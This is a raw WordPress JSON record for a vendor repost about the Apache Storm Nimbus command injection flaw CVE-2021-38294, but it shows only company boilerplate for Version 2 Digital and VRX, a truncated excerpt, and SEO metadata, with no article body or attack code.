data-settings=\"{&quot;jet_parallax_layout_list&quot;:[{&quot;jet_parallax_layout_image&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;_id&quot;:&quot;c4f773e&quot;,&quot;jet_parallax_layout_image_tablet&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_image_mobile&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_speed&quot;:{&quot;unit&quot;:&quot;%&quot;,&quot;size&quot;:50,&quot;sizes&quot;:[]},&quot;jet_parallax_layout_type&quot;:&quot;scroll&quot;,&quot;jet_parallax_layout_direction&quot;:&quot;1&quot;,&quot;jet_parallax_layout_fx_direction&quot;:null,&quot;jet_parallax_layout_z_index&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x&quot;:50,&quot;jet_parallax_layout_bg_x_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y&quot;:50,&quot;jet_parallax_layout_bg_y_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size&quot;:&quot;auto&quot;,&quot;jet_parallax_layout_bg_size_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_animation_prop&quot;:&quot;transform&quot;,&quot;jet_parallax_layout_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;]}]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7995c19\" data-id=\"7995c19\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-a437045 elementor-widget elementor-widget-image-box\" data-id=\"a437045\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"image-box.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-image-box-wrapper\"><div class=\"elementor-image-box-content\"><h3 class=\"elementor-image-box-title\">About Version 2 Digital<\/h3><p class=\"elementor-image-box-description\">Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.\n<br><br>\nThrough an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.<\/p><\/div><\/div>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t\n\t\t<div data-elementor-type=\"page\" data-elementor-id=\"39690\" class=\"elementor elementor-39690\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-748947f elementor-section-full_width elementor-section-height-default elementor-section-height-default\" data-id=\"748947f\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;jet_parallax_layout_list&quot;:[{&quot;jet_parallax_layout_image&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;_id&quot;:&quot;c4f773e&quot;,&quot;jet_parallax_layout_image_tablet&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_image_mobile&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_speed&quot;:{&quot;unit&quot;:&quot;%&quot;,&quot;size&quot;:50,&quot;sizes&quot;:[]},&quot;jet_parallax_layout_type&quot;:&quot;scroll&quot;,&quot;jet_parallax_layout_direction&quot;:&quot;1&quot;,&quot;jet_parallax_layout_fx_direction&quot;:null,&quot;jet_parallax_layout_z_index&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x&quot;:50,&quot;jet_parallax_layout_bg_x_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y&quot;:50,&quot;jet_parallax_layout_bg_y_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size&quot;:&quot;auto&quot;,&quot;jet_parallax_layout_bg_size_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_animation_prop&quot;:&quot;transform&quot;,&quot;jet_parallax_layout_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;]}]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7995c19\" data-id=\"7995c19\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-ff2a228 elementor-widget elementor-widget-text-editor\" data-id=\"ff2a228\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><\/p>\n<p><b>About VRX<\/b><br><b>VRX&nbsp;<\/b>is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Introduction #CVE-2021-38294 is a Command Injection vul [&hellip;]<\/p>\n","protected":false},"author":149011790,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[476,1075,61],"tags":[1076,477],"class_list":["post-68393","post","type-post","status-publish","format-standard","hentry","category-vrx","category-year2023","category-press-release","tag-1076","tag-vrx"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>CVE-2021-38294: Apache Storm Nimbus Command Injection - Version 2<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection\" \/>\n<meta property=\"og:locale\" content=\"zh_HK\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CVE-2021-38294: Apache Storm Nimbus Command Injection - Version 2\" \/>\n<meta property=\"og:description\" content=\"Introduction #CVE-2021-38294 is a Command Injection vul [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection\" \/>\n<meta property=\"og:site_name\" content=\"Version 2\" \/>\n<meta property=\"article:published_time\" content=\"2023-06-26T07:42:39+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-07-24T10:16:15+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj4197rg09zi0umz4vuy3uv3.png\" \/>\n<meta name=\"author\" content=\"tracylamv2\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"tracylamv2\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9810\u8a08\u95b1\u8b80\u6642\u9593\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 \u5206\u9418\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/2023\\\/06\\\/cve-2021-38294-apache-storm-nimbus-command-injection\\\/\"},\"author\":{\"name\":\"tracylamv2\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/person\\\/011bc7c3731c930bcfeecd52fefb6365\"},\"headline\":\"CVE-2021-38294: Apache Storm Nimbus Command Injection\",\"datePublished\":\"2023-06-26T07:42:39+00:00\",\"dateModified\":\"2023-07-24T10:16:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/2023\\\/06\\\/cve-2021-38294-apache-storm-nimbus-command-injection\\\/\"},\"wordCount\":1475,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/images\\\/clj4197rg09zi0umz4vuy3uv3.png\",\"keywords\":[\"2023\",\"vRx\"],\"articleSection\":[\"vRx\",\"2023\",\"Press Release\"],\"inLanguage\":\"zh-HK\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/version-2.com\\\/2023\\\/06\\\/cve-2021-38294-apache-storm-nimbus-command-injection\\\/\",\"url\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection\",\"name\":\"CVE-2021-38294: Apache Storm Nimbus Command Injection - Version 2\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/images\\\/clj4197rg09zi0umz4vuy3uv3.png\",\"datePublished\":\"2023-06-26T07:42:39+00:00\",\"dateModified\":\"2023-07-24T10:16:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection#breadcrumb\"},\"inLanguage\":\"zh-HK\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-HK\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection#primaryimage\",\"url\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/images\\\/clj4197rg09zi0umz4vuy3uv3.png\",\"contentUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/images\\\/clj4197rg09zi0umz4vuy3uv3.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2021-38294-apache-storm-nimbus-command-injection#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9801\",\"item\":\"https:\\\/\\\/version-2.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CVE-2021-38294: Apache Storm Nimbus Command Injection\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#website\",\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/\",\"name\":\"Version 2\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/version-2.com\\\/zh\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-HK\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\",\"name\":\"Version 2\",\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-HK\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/version-2.com\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/version-2.com\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1\",\"width\":1795,\"height\":335,\"caption\":\"Version 2\"},\"image\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/person\\\/011bc7c3731c930bcfeecd52fefb6365\",\"name\":\"tracylamv2\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-HK\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/9d01d79cbfd8b2e878f5d701a362cc9fca466d33fec977b59706c23c1a2db15c?s=96&d=identicon&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/9d01d79cbfd8b2e878f5d701a362cc9fca466d33fec977b59706c23c1a2db15c?s=96&d=identicon&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/9d01d79cbfd8b2e878f5d701a362cc9fca466d33fec977b59706c23c1a2db15c?s=96&d=identicon&r=g\",\"caption\":\"tracylamv2\"},\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/author\\\/tracylamv2\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CVE-2021-38294: Apache Storm Nimbus Command Injection - Version 2","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection","og_locale":"zh_HK","og_type":"article","og_title":"CVE-2021-38294: Apache Storm Nimbus Command Injection - Version 2","og_description":"Introduction #CVE-2021-38294 is a Command Injection vul [&hellip;]","og_url":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection","og_site_name":"Version 2","article_published_time":"2023-06-26T07:42:39+00:00","article_modified_time":"2023-07-24T10:16:15+00:00","og_image":[{"url":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj4197rg09zi0umz4vuy3uv3.png","type":"","width":"","height":""}],"author":"tracylamv2","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"tracylamv2","\u9810\u8a08\u95b1\u8b80\u6642\u9593":"11 \u5206\u9418"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection#article","isPartOf":{"@id":"https:\/\/version-2.com\/2023\/06\/cve-2021-38294-apache-storm-nimbus-command-injection\/"},"author":{"name":"tracylamv2","@id":"https:\/\/version-2.com\/zh\/#\/schema\/person\/011bc7c3731c930bcfeecd52fefb6365"},"headline":"CVE-2021-38294: Apache Storm Nimbus Command Injection","datePublished":"2023-06-26T07:42:39+00:00","dateModified":"2023-07-24T10:16:15+00:00","mainEntityOfPage":{"@id":"https:\/\/version-2.com\/2023\/06\/cve-2021-38294-apache-storm-nimbus-command-injection\/"},"wordCount":1475,"commentCount":0,"publisher":{"@id":"https:\/\/version-2.com\/zh\/#organization"},"image":{"@id":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection#primaryimage"},"thumbnailUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj4197rg09zi0umz4vuy3uv3.png","keywords":["2023","vRx"],"articleSection":["vRx","2023","Press Release"],"inLanguage":"zh-HK","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection#respond"]}]},{"@type":"WebPage","@id":"https:\/\/version-2.com\/2023\/06\/cve-2021-38294-apache-storm-nimbus-command-injection\/","url":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection","name":"CVE-2021-38294: Apache Storm Nimbus Command Injection - Version 2","isPartOf":{"@id":"https:\/\/version-2.com\/zh\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection#primaryimage"},"image":{"@id":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection#primaryimage"},"thumbnailUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj4197rg09zi0umz4vuy3uv3.png","datePublished":"2023-06-26T07:42:39+00:00","dateModified":"2023-07-24T10:16:15+00:00","breadcrumb":{"@id":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection#breadcrumb"},"inLanguage":"zh-HK","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection"]}]},{"@type":"ImageObject","inLanguage":"zh-HK","@id":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection#primaryimage","url":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj4197rg09zi0umz4vuy3uv3.png","contentUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/images\/clj4197rg09zi0umz4vuy3uv3.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.vicarius.io\/blog\/cve-2021-38294-apache-storm-nimbus-command-injection#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9801","item":"https:\/\/version-2.com\/"},{"@type":"ListItem","position":2,"name":"CVE-2021-38294: Apache Storm Nimbus Command Injection"}]},{"@type":"WebSite","@id":"https:\/\/version-2.com\/zh\/#website","url":"https:\/\/version-2.com\/zh\/","name":"Version 2","description":"","publisher":{"@id":"https:\/\/version-2.com\/zh\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/version-2.com\/zh\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-HK"},{"@type":"Organization","@id":"https:\/\/version-2.com\/zh\/#organization","name":"Version 2","url":"https:\/\/version-2.com\/zh\/","logo":{"@type":"ImageObject","inLanguage":"zh-HK","@id":"https:\/\/version-2.com\/zh\/#\/schema\/logo\/image\/","url":"https:\/\/i0.wp.com\/version-2.com\/wp-content\/uploads\/2020\/08\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1","contentUrl":"https:\/\/i0.wp.com\/version-2.com\/wp-content\/uploads\/2020\/08\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1","width":1795,"height":335,"caption":"Version 2"},"image":{"@id":"https:\/\/version-2.com\/zh\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/version-2.com\/zh\/#\/schema\/person\/011bc7c3731c930bcfeecd52fefb6365","name":"tracylamv2","image":{"@type":"ImageObject","inLanguage":"zh-HK","@id":"https:\/\/secure.gravatar.com\/avatar\/9d01d79cbfd8b2e878f5d701a362cc9fca466d33fec977b59706c23c1a2db15c?s=96&d=identicon&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/9d01d79cbfd8b2e878f5d701a362cc9fca466d33fec977b59706c23c1a2db15c?s=96&d=identicon&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/9d01d79cbfd8b2e878f5d701a362cc9fca466d33fec977b59706c23c1a2db15c?s=96&d=identicon&r=g","caption":"tracylamv2"},"url":"https:\/\/version-2.com\/zh\/author\/tracylamv2\/"}]}},"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/pbQRKm-hN7","post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts\/68393","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/users\/149011790"}],"replies":[{"embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/comments?post=68393"}],"version-history":[{"count":5,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts\/68393\/revisions"}],"predecessor-version":[{"id":69371,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts\/68393\/revisions\/69371"}],"wp:attachment":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/media?parent=68393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/categories?post=68393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/tags?post=68393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}